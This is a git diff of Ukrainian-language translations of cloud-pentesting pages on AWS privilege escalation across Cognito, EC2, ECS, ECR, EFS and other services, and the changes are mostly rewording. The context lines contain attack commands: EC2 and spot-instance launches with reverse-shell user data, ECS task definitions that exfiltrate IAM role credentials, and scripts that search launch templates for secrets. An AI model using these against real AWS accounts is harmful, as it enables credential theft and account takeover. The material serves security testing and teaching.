будь-який метод аутентифікації, не мати жодного секрету, мати вимкнене відкликання токенів, дозволяти токени бути дійсними протягом більш тривалого періоду... +Зловмисник з цим дозволом може **створити новий User Pool Client з меншими обмеженнями**, ніж вже існуючі клієнти пулу. Наприклад, новий клієнт може дозволяти будь-який метод аутентифікації, не мати жодного секрету, мати вимкнене відкликання токенів, дозволяти токени бути дійсними протягом більш тривалого періоду... Те ж саме можна зробити, якщо замість створення нового клієнта, **модифікується існуючий**. @@ -193,7 +193,7 @@ aws cognito-idp create-user-pool-client \ --client-name \ [...] ``` -**Потенційний вплив:** Потенційний непрямий privesc до авторизованого користувача Identity Pool, використаного User Pool, шляхом створення нового клієнта, який послаблює заходи безпеки і дозволяє зловмиснику увійти з користувачем, якого він зміг створити. +**Потенційний вплив:** Потенційний непрямий підвищення привілеїв до авторизованого користувача Identity Pool, використаного User Pool, шляхом створення нового клієнта, який послаблює заходи безпеки і дозволяє зловмиснику увійти з користувачем, якого він зміг створити. ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` @@ -230,14 +230,14 @@ aws cognito-idp create-identity-provider \ [--attribute-mapping ] \ [--idp-identifiers ] ``` -**Potential Impact:** Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача. +**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача. ### cognito-sync:\* Аналіз Це дуже поширений дозвіл за замовчуванням у ролях пулів ідентичностей Cognito. Навіть якщо символ підстановки в дозволах завжди виглядає погано (особливо з AWS), **надані дозволи не є надто корисними з точки зору атакуючого**. Цей дозвіл дозволяє читати інформацію про використання пулів ідентичностей та ідентифікатори ідентичностей всередині пулів ідентичностей (що не є чутливою інформацією).\ -Ідентифікатори ідентичностей можуть мати [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), які є інформацією про сесії (AWS визначає це як **збережену гру**). Можливо, що це містить якийсь вид чутливої інформації (але ймовірність досить низька). Ви можете знайти на [**сторінці перерахування**](../aws-services/aws-cognito-enum/), як отримати доступ до цієї інформації. +Ідентифікатори ідентичностей можуть мати [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), які призначені для них, що є інформацією про сесії (AWS визначає це як **збережену гру**). Можливо, що це містить якийсь вид чутливої інформації (але ймовірність досить низька). Ви можете знайти на [**сторінці перерахування**](../aws-services/aws-cognito-enum/) як отримати доступ до цієї інформації. Атакуючий також може використовувати ці дозволи, щоб **зареєструватися в потоці Cognito, який публікує зміни** в цих датасетах або **lambda, яка спрацьовує на події cognito**. Я не бачив, щоб це використовувалося, і не очікував би чутливої інформації тут, але це не неможливо. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index e806ad98d..e3b174803 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -52,14 +52,14 @@ aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string > [!NOTE] > Зверніть увагу, що **роль** в **рядках 14, 15 та 27** повинна бути роллю, **яку може прийняти datapipeline.amazonaws.com**, а роль в **рядку 28** повинна бути **роллю, яку може прийняти ec2.amazonaws.com з профілем EC2**. > -> Крім того, EC2 екземпляр матиме доступ лише до ролі, яку може прийняти EC2 екземпляр (тому ви можете вкрасти лише цю). +> Крім того, EC2 інстанс матиме доступ лише до ролі, яку може прийняти EC2 інстанс (тому ви можете вкрасти лише цю). ```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` Файл **визначення конвеєра, створений зловмисником, містить директиви для виконання команд** або створення ресурсів через AWS API, використовуючи дозволи ролі Data Pipeline для потенційного отримання додаткових привілеїв. -**Потенційний вплив:** Пряме підвищення привілеїв до ролі служби ec2, що вказана. +**Потенційний вплив:** Пряме підвищення привілеїв до ролі служби ec2. ## Посилання diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index 17dc1871a..9cf105b48 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -1,4 +1,4 @@ -# AWS - Directory Services Privesc +# AWS - Привілейоване підвищення в Directory Services {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 4c415e724..c7fc427bd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -10,9 +10,9 @@ ../aws-services/aws-dynamodb-enum.md {{#endref}} -### Постексплуатація +### Post Exploitation -Наскільки мені відомо, **немає прямого способу підвищити привілеї в AWS, просто маючи деякі дозволи на AWS `dynamodb`**. Ви можете **читати чутливу** інформацію з таблиць (яка може містити облікові дані AWS) і **записувати інформацію в таблиці** (що може спровокувати інші вразливості, такі як ін'єкції коду lambda...), але всі ці варіанти вже розглянуті на **сторінці Постексплуатації DynamoDB**: +Наскільки мені відомо, **немає прямого способу підвищити привілеї в AWS, просто маючи деякі дозволи AWS `dynamodb`**. Ви можете **читати чутливу** інформацію з таблиць (яка може містити облікові дані AWS) і **записувати інформацію в таблиці** (що може викликати інші вразливості, такі як ін'єкції коду lambda...), але всі ці варіанти вже розглянуті на **сторінці Post Exploitation DynamoDB**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index 7e34fe974..0d19b6ef8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -20,7 +20,7 @@ ### **`ec2:CreateSnapshot`** -Будь-який користувач AWS, що має дозвіл **`EC2:CreateSnapshot`**, може вкрасти хеші всіх користувачів домену, створивши **знімок контролера домену**, підключивши його до екземпляра, яким він керує, та **експортувавши NTDS.dit та SYSTEM** файл реєстру для використання з проектом secretsdump від Impacket. +Будь-який користувач AWS, що має дозвіл **`EC2:CreateSnapshot`**, може вкрасти хеші всіх користувачів домену, створивши **знімок контролера домену**, підключивши його до екземпляра, який вони контролюють, та **експортувавши NTDS.dit та SYSTEM** файл реєстру для використання з проектом secretsdump від Impacket. Ви можете використовувати цей інструмент для автоматизації атаки: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) або ви можете використовувати одну з попередніх технік після створення знімка. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 2edba94bd..e27672bcb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -44,7 +44,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ #### Підвищення привілеїв до ECS -З цим набором дозволів ви також можете **створити екземпляр EC2 і зареєструвати його в кластері ECS**. Таким чином, **сервіси** ECS будуть **запущені** всередині **екземпляра EC2**, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (контейнери docker) і **вкрасти їх ролі ECS, прикріплені**. +З цим набором дозволів ви також могли б **створити екземпляр EC2 і зареєструвати його в кластері ECS**. Таким чином, **сервіси** ECS будуть **запущені** в **екземплярі EC2**, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (контейнери docker) і **викрасти їх ролі ECS**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -82,17 +82,17 @@ aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` Якщо **профіль екземпляра має роль** і атакуючий **не може її видалити**, є інший обхідний шлях. Він може **знайти** **профіль екземпляра без ролі** або **створити новий** (`iam:CreateInstanceProfile`), **додати** **роль** до цього **профілю екземпляра** (як обговорювалося раніше) і **асоціювати профіль екземпляра** з скомпрометованим i**нстансом:** -- Якщо екземпляр **не має жодного профілю екземпляра** (`ec2:AssociateIamInstanceProfile`) \* +- Якщо екземпляр **не має жодного профілю** екземпляра (`ec2:AssociateIamInstanceProfile`) \* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно зламати AWS EC2 інстанцію та мати додаткові дозволи або специфічний статус профілю інстанції). +**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (необхідно, щоб ви зламали AWS EC2 інстанцію та мали додаткові дозволи або специфічний статус профілю інстанції). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) З цими дозволами можливо змінити профіль інстанції, асоційований з інстанцією, тому якщо атака вже мала доступ до інстанції, вона зможе вкрасти облікові дані для більшої кількості ролей профілю інстанції, змінивши той, що асоційований з нею. -- Якщо **є профіль інстанції**, ви можете **видалити** профіль інстанції (`ec2:DisassociateIamInstanceProfile`) та **асоціювати** його \* +- Якщо **є профіль інстанції**, ви можете **видалити** профіль інстанції (`ec2:DisassociateIamInstanceProfile`) і **асоціювати** його \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id @@ -104,11 +104,11 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` ```` -**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно зламати AWS EC2 інстанс і мати додаткові дозволи або специфічний статус профілю інстансу). +**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно скомпрометувати AWS EC2 інстанс і мати додаткові дозволи або специфічний статус профілю інстансу). ### `ec2:RequestSpotInstances`,`iam:PassRole` -Зловмисник з дозволами **`ec2:RequestSpotInstances`та`iam:PassRole`** може **запросити** **Spot Instance** з **прикріпленою роллю EC2** та **rev shell** в **даних користувача**.\ +Зловмисник з дозволами **`ec2:RequestSpotInstances`та`iam:PassRole`** може **запросити** **Spot Instance** з **прикріпленою роллю EC2** та **реверс-шеллом** у **даних користувача**.\ Після запуску інстансу він може **викрасти IAM роль**. ```bash REV=$(printf '#!/bin/bash @@ -123,7 +123,7 @@ aws ec2 request-spot-instances \ Зловмисник з **`ec2:ModifyInstanceAttribute`** може змінювати атрибути екземплярів. Серед них він може **змінити дані користувача**, що означає, що він може змусити екземпляр **виконувати довільні дані.** Це може бути використано для отримання **rev shell до EC2 екземпляра**. -Зверніть увагу, що атрибути можна **змінювати лише тоді, коли екземпляр зупинено**, тому **дозволи** **`ec2:StopInstances`** та **`ec2:StartInstances`**. +Зверніть увагу, що атрибути можна **змінювати лише коли екземпляр зупинено**, тому **дозволи** **`ec2:StopInstances`** та **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -160,7 +160,7 @@ aws ec2 modify-instance-attribute \ aws ec2 start-instances --instance-ids $INSTANCE_ID ``` -**Potential Impact:** Пряме підвищення привілеїв до будь-якої EC2 IAM ролі, прикріпленої до створеного екземпляра. +**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої EC2 IAM ролі, прикріпленої до створеного екземпляра. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` @@ -182,7 +182,7 @@ aws ec2 modify-launch-template \ ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -Зловмисник з дозволами **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** може **створити конфігурацію запуску** з **IAM роллю** та **rev shell** всередині **даних користувача**, потім **створити групу автоскалювання** з цієї конфігурації та чекати, поки rev shell **вкраде IAM роль**. +Зловмисник з правами **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** може **створити конфігурацію запуску** з **IAM роллю** та **rev shell** всередині **даних користувача**, потім **створити групу автоскалювання** з цієї конфігурації та чекати, поки rev shell **вкраде IAM роль**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -213,11 +213,11 @@ aws ec2-instance-connect send-ssh-public-key \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів. +**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених інстансів. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh ключ до серійного з'єднання**. Якщо серійне з'єднання не активоване, зловмиснику потрібен дозвіл **`ec2:EnableSerialConsoleAccess`, щоб активувати його**. +Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh ключ до серійного з'єднання**. Якщо серійне з'єднання не активоване, зловмиснику потрібен дозвіл **`ec2:EnableSerialConsoleAccess`, щоб його активувати**. Щоб підключитися до серійного порту, вам також **потрібно знати ім'я користувача та пароль користувача** всередині машини. ```bash @@ -231,13 +231,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -Цей спосіб не є особливо корисним для підвищення привілеїв, оскільки вам потрібно знати ім'я користувача та пароль, щоб його експлуатувати. +Цей спосіб не є особливо корисним для підвищення привілеїв, оскільки вам потрібно знати ім'я користувача та пароль для його експлуатації. -**Potential Impact:** (Високо неперевірено) Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів. +**Потенційний вплив:** (Високо неперевірений) Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів. ### `describe-launch-templates`,`describe-launch-template-versions` -Оскільки шаблони запуску мають версії, зловмисник з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може експлуатувати їх для виявлення чутливої інформації, такої як облікові дані, присутні в даних користувача. Щоб досягти цього, наступний скрипт проходить через всі версії доступних шаблонів запуску: +Оскільки шаблони запуску мають версії, зловмисник з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може експлуатувати їх для виявлення чутливої інформації, такої як облікові дані, присутні в даних користувача. Для цього наступний скрипт проходить через усі версії доступних шаблонів запуску: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -250,7 +250,7 @@ echo done | grep -iE "aws_|password|token|api" done ``` -В наведених командах, хоча ми вказуємо певні шаблони (`aws_|password|token|api`), ви можете використовувати інший regex для пошуку інших типів чутливої інформації. +У наведених вище командах, хоча ми вказуємо певні шаблони (`aws_|password|token|api`), ви можете використовувати інший regex для пошуку інших типів чутливої інформації. Припустимо, ми знаходимо `aws_access_key_id` та `aws_secret_access_key`, ми можемо використовувати ці облікові дані для автентифікації в AWS. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index 628794b13..714d6b657 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -14,13 +14,13 @@ ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -**Potential Impact:** Непряме підвищення привілеїв шляхом перехоплення чутливої інформації в трафіку. +**Потенційний вплив:** Непряме підвищення привілеїв шляхом перехоплення чутливої інформації в трафіку. ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` -Атакуючий з усіма цими дозволами **може увійти в ECR та завантажити зображення**. Це може бути корисно для підвищення привілеїв в інші середовища, де використовуються ці зображення. +Атакуючий з усіма цими дозволами **може увійти в ECR та завантажити зображення**. Це може бути корисно для підвищення привілеїв до інших середовищ, де використовуються ці зображення. -Щоб дізнатися, як завантажити нове зображення/оновити одне, перевірте: +Щоб дізнатися, як завантажити нове зображення/оновити одне, перегляньте: {{#ref}} ../aws-services/aws-eks-enum.md @@ -87,7 +87,7 @@ echo '{ # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` -**Потенційний вплив**: Несанкціонований публічний доступ до репозиторію ECR Public, що дозволяє будь-якому користувачу завантажувати, витягувати або видаляти зображення. +**Потенційний вплив**: Несанкціонований публічний доступ до ECR Public репозиторію, що дозволяє будь-якому користувачу завантажувати, витягувати або видаляти зображення. ### `ecr:PutRegistryPolicy` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 2771b9ea6..2fc7df382 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -12,7 +12,7 @@ ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **згенерувати нове визначення завдання** з **шкідливим контейнером**, який краде облікові дані метаданих і **запустити його**. +Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **створити нове визначення завдання** з **шкідливим контейнером**, який краде облікові дані метаданих та **запустити його**. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -37,7 +37,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **створити нове визначення завдання** з **шкідливим контейнером**, який краде облікові дані метаданих і **запустити його**.\ -Однак у цьому випадку потрібно мати контейнерний екземпляр для запуску шкідливого визначення завдання. +Однак у цьому випадку потрібно, щоб контейнерний екземпляр запустив шкідливе визначення завдання. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -57,7 +57,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **створити нове визначення завдання** з **зловмисним контейнером**, який краде облікові дані метаданих, і **запустити його, створивши нову службу з принаймні 1 запущеним завданням.** +Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **створити нову задачу** з **шкідливим контейнером**, який краде облікові дані метаданих, і **запустити її, створивши нову службу з принаймні 1 запущеною задачею.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -92,13 +92,13 @@ aws ecs run-task \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` -**Потенційний вплив:** Прямий privesc до будь-якої ролі ECS. +**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі ECS. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** Цей сценарій схожий на попередні, але **без** дозволу **`iam:PassRole`**.\ Це все ще цікаво, оскільки, якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б **запустити привілейований контейнер, щоб втекти** на вузол і **вкрасти роль EC2 IAM** та **інші ролі контейнерів ECS**, що працюють на вузлі.\ -Ви навіть могли б **примусити інші завдання працювати всередині EC2 екземпляра**, який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорювалося в [**Розділі Privesc до вузла**](aws-ecs-privesc.md#privesc-to-node)). +Ви навіть могли б **примусити інші завдання працювати всередині EC2 екземпляра**, який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорюється в [**Розділі підвищення привілеїв до вузла**](aws-ecs-privesc.md#privesc-to-node)). > [!WARNING] > Цей напад можливий лише якщо **ECS кластер використовує EC2** екземпляри, а не Fargate. @@ -144,7 +144,7 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Зловмисник з **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та ексфільтрувати IAM роль, що до неї прикріплена (вам потрібні дозволи на опис, оскільки це необхідно для виконання `aws ecs execute-command`).\ +Зловмисник з **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та ексфільтрувати IAM роль, що до неї прикріплена (вам потрібні права опису, оскільки це необхідно для виконання `aws ecs execute-command`).\ Однак, для цього екземпляр контейнера повинен працювати з **агентом ExecuteCommand** (який за замовчуванням не активований). Отже, зловмисник може спробувати: @@ -167,12 +167,12 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` -- Якщо він має **`ecs:RunTask`**, запустіть задачу за допомогою `aws ecs run-task --enable-execute-command [...]` -- Якщо він має **`ecs:StartTask`**, запустіть задачу за допомогою `aws ecs start-task --enable-execute-command [...]` -- Якщо він має **`ecs:CreateService`**, створіть сервіс за допомогою `aws ecs create-service --enable-execute-command [...]` -- Якщо він має **`ecs:UpdateService`**, оновіть сервіс за допомогою `aws ecs update-service --enable-execute-command [...]` +- Якщо він має **`ecs:RunTask`**, запустіть задачу з `aws ecs run-task --enable-execute-command [...]` +- Якщо він має **`ecs:StartTask`**, запустіть задачу з `aws ecs start-task --enable-execute-command [...]` +- Якщо він має **`ecs:CreateService`**, створіть сервіс з `aws ecs create-service --enable-execute-command [...]` +- Якщо він має **`ecs:UpdateService`**, оновіть сервіс з `aws ecs update-service --enable-execute-command [...]` -Ви можете знайти **приклади цих опцій** у **попередніх розділах ECS privesc**. +Ви можете знайти **приклади цих опцій** в **попередніх розділах ECS privesc**. **Потенційний вплив:** Privesc до іншої ролі, прикріпленої до контейнерів. @@ -194,14 +194,14 @@ aws-ec2-privesc.md ### `?ecs:RegisterContainerInstance` -TODO: Чи можливо зареєструвати екземпляр з іншого облікового запису AWS, щоб задачі виконувалися на машинах, контрольованих зловмисником?? +TODO: Чи можливо зареєструвати екземпляр з іншого облікового запису AWS, щоб задачі виконувалися на машинах, контрольованих атакуючим?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] > TODO: Тестуйте це -Зловмисник з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` та `ecs:DescribeTaskSets` може **створити шкідливий набір задач для існуючого сервісу ECS та оновити основний набір задач**. Це дозволяє зловмиснику **виконувати довільний код у межах сервісу**. +Атакуючий з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` та `ecs:DescribeTaskSets` може **створити шкідливий набір задач для існуючого сервісу ECS та оновити основний набір задач**. Це дозволяє атакуючому **виконувати довільний код у межах сервісу**. ```bash bashCopy code# Register a task definition with a reverse shell echo '{ @@ -227,7 +227,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Потенційний вплив**: Виконати довільний код у враженій службі, що потенційно вплине на її функціональність або ексфільтрує чутливі дані. +**Потенційний вплив**: Виконання довільного коду в ураженій службі, що потенційно вплине на її функціональність або ексфільтрує чутливі дані. ## Посилання diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index f26fc1dd3..2027110eb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -10,11 +10,11 @@ ../aws-services/aws-efs-enum.md {{#endref}} -Пам'ятайте, що для монтування EFS вам потрібно бути в підмережі, де EFS відкритий, і мати доступ до нього (групи безпеки). Якщо це відбувається, за замовчуванням ви завжди зможете його змонтувати, однак, якщо він захищений політиками IAM, вам потрібно мати додаткові дозволи, згадані тут, щоб отримати доступ до нього. +Пам'ятайте, що для монтування EFS вам потрібно бути в підмережі, де EFS відкритий, і мати доступ до нього (групи безпеки). Якщо це відбувається, за замовчуванням ви завжди зможете його змонтувати, однак, якщо він захищений політиками IAM, вам потрібно мати додаткові дозволи, згадані тут, щоб отримати доступ. ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -З будь-яким з цих дозволів зловмисник може **змінити політику файлової системи**, щоб **надати вам доступ** до неї, або просто **видалити її**, щоб **надано доступ за замовчуванням**. +З будь-яким з цих дозволів зловмисник може **змінити політику файлової системи**, щоб **надати вам доступ** до неї або просто **видалити її**, щоб **надано доступ за замовчуванням**. Щоб видалити політику: ```bash @@ -64,23 +64,23 @@ sudo mount -t efs -o tls,iam :/ /efs/ ### `elasticfilesystem:CreateMountTarget` -Якщо ви, атакуючий, знаходитесь у **підмережі**, де **немає цільового монтування** EFS. Ви можете просто **створити одне у своїй підмережі** з цим привілеєм: +Якщо ви, як зловмисник, знаходитесь у **підмережі**, де **немає цільового монту** EFS. Ви можете просто **створити один у своїй підмережі** з цим привілеєм: ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ --subnet-id \ --security-groups ``` -**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації у файловій системі. +**Потенційний вплив:** Непряме підвищення привілеїв шляхом виявлення чутливої інформації у файловій системі. ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -У сценарії, де зловмисник виявляє, що EFS має ціль монтування у його підмережі, але **жодна група безпеки не дозволяє трафік**, він може просто **змінити це, модифікувавши вибрані групи безпеки**: +У сценарії, коли зловмисник виявляє, що EFS має точку монтування у його підмережі, але **жодна група безпеки не дозволяє трафік**, він може просто **змінити це, змінивши вибрані групи безпеки**: ```bash aws efs modify-mount-target-security-groups \ --mount-target-id \ --security-groups ``` -**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації у файловій системі. +**Потенційний вплив:** Непряме підвищення привілеїв шляхом виявлення чутливої інформації у файловій системі. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 67025e7a6..0c4640f36 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -11,11 +11,11 @@ {{#endref}} > [!WARNING] -> Щоб виконати чутливі дії в Beanstalk, вам потрібно мати **багато чутливих дозволів у багатьох різних сервісах**. Ви можете перевірити, наприклад, дозволи, надані **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Для виконання чутливих дій у Beanstalk вам знадобиться мати **багато чутливих дозволів у багатьох різних сервісах**. Ви можете перевірити, наприклад, дозволи, надані **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** -### `elasticbeanstalk:RebuildEnvironment`, дозволи на запис в S3 та багато інших +### `elasticbeanstalk:RebuildEnvironment`, дозволи на запис S3 та багато інших -З **дозволами на запис у S3 бакет**, що містить **код** середовища, та дозволами на **перебудову** програми (потрібно `elasticbeanstalk:RebuildEnvironment` та кілька інших, пов'язаних з `S3`, `EC2` та `Cloudformation`), ви можете **модифікувати** **код**, **перебудувати** додаток, і наступного разу, коли ви отримуєте доступ до додатку, він **виконає ваш новий код**, що дозволяє зловмиснику скомпрометувати додаток та облікові дані IAM ролі. +З **дозволами на запис у S3 бакет**, що містить **код** середовища, та 